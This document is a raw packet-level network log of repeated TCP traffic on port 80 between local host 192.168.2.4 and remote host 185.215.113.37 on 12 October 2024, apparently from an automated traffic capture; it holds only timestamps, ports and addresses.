Oct 12, 2024 13:17:31.031703949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031733036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031738997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031770945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031774044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031814098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.063656092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.063708067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.063721895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.063747883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.063771963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.063813925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.063824892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.063860893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.063867092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.063894987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.063901901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.063930035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.063935995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.063963890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.063971043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.063998938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064003944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064033985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064040899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064069986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064080954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064101934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064110041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064137936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064143896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064171076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064177036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064205885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064212084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064240932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064246893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064279079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064279079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064311028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064316988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064344883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064351082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064382076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064385891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064414978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064418077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064450979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064457893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064483881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064491034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064519882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064526081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064553976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064559937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064589024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064591885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064625025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064626932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064661026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064661980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064694881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064702034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064730883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064734936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064764023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064768076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064798117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064800024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064831972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064838886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064867020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064872026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064903975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064908028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064938068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064943075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.064971924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.064977884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.065006971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.065011978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.065047979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.091975927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092025995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092065096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092068911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092080116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092104912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092300892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092335939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092351913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092375040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092380047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092411995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092420101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092447996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092453957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092484951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092502117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092536926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092545033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092571020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092576981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092606068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092611074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092639923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092643976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092681885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092696905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092736006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092739105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092770100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092775106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092803955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092808962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092845917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092858076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092891932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092900038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092926979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092931986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092961073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092967033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.092997074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.092998028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093031883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093039036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093065977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093076944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093105078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093106985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093139887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093149900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093177080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093178988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093209982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093216896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093251944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093385935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093420982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093425035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093456030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093457937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093497038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093715906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093755007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093775034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093789101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093791962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093823910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.093827963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.093862057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128397942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128444910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128482103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128498077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128501892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128545046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128571033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128607035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128608942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128648043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128664970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128699064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128707886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128734112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128741026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128768921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128772020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128802061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128823042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128855944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128875971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128889084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128896952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128922939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.128931046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128962040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.128989935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129030943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129045963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129086971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129089117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129125118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129123926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129158974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129164934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129193068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129201889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129229069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129234076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129264116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129266977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129300117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129306078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129333019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129343033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129369020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129374027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129404068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129406929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129446030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129458904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129492044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129503012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129527092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129534960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129560947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129568100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129595995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129599094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129630089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129638910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129666090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129672050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129698992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129709959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129731894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129740000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129766941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129775047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129803896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129806995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129838943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129848003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129873037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129880905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129908085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129913092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129941940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129947901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.129976988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.129982948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.130012035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.130018950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.130047083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.130053043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.130080938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.130086899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.130116940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.130120039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.130151033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.130157948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.130187035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.130194902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.130228043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.156936884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.156982899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157007933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157020092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157022953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157078981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157084942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157116890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157124043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157152891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157185078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157187939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157191992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157223940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157228947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157258987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157264948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157294989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157306910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157332897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157340050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157368898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157371044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157401085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157409906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157437086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157447100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157476902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.157480955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.157517910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160058975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160109997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160123110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160146952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160147905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160182953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160186052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160218000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160226107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160253048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160259962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160290003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160295010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160322905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160326958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160357952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160362959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160392046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160402060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160427094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160433054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160461903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160468102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160496950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160502911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160537958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160546064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160572052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160579920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160610914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160614014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160645962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160656929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160681963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160686016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160717010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160723925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160754919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.160759926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.160795927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.190743923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.190793991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.190815926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.190828085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.190829992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.190864086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.190869093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.190901995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.190911055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.190937042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.190946102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.190979004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.190994024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191024065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.191031933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191065073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.191076040 CEST	80	49730	185.215.113.37	192.168.2.4
